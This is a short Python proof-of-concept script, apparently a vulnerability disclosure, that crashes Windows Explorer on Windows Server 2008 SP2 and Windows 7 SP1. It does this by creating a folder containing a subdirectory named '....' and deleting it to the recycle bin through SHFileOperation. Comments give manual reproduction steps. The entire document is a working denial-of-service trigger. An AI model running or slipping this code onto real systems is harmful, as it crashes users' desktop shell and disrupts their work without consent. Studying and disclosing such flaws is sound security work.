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# Windows 2008 SP2 RC2 Explorer Go Byebye :P # Windows 7 Pro SP1 Explorer Go Byebye :P # Interesting # Brought to you by Level & z0r0 @ Smash The Stack from win32com.shell import shell, shellcon from os import mkdir try: mkdir("c:\\trigger_alt") except: print "[!] Trigger Directory Exists" try: mkdir("c:\\trigger_alt\\....") except: print "[!] Trigger Sub Directory Exists" print "[!] Triggering Issue" # This moves the directory containing the sub directory which creates the condition. # The issue is in the function that moves the files to the recycle bin # Replicate this using the following # 1- mkdir c:\trigger_alt # 2- cd c:\trigger_alt # 3- mkdir ....\ # 4- My Computer -> c:\trigger_alt # 5- Right Click -> Delete shell.SHFileOperation((0,shellcon.FO_DELETE,'c:\\trigger_alt',None,shellcon.FOF_ALLOWUNDO|shellcon.FOF_NOCONFIRMATION))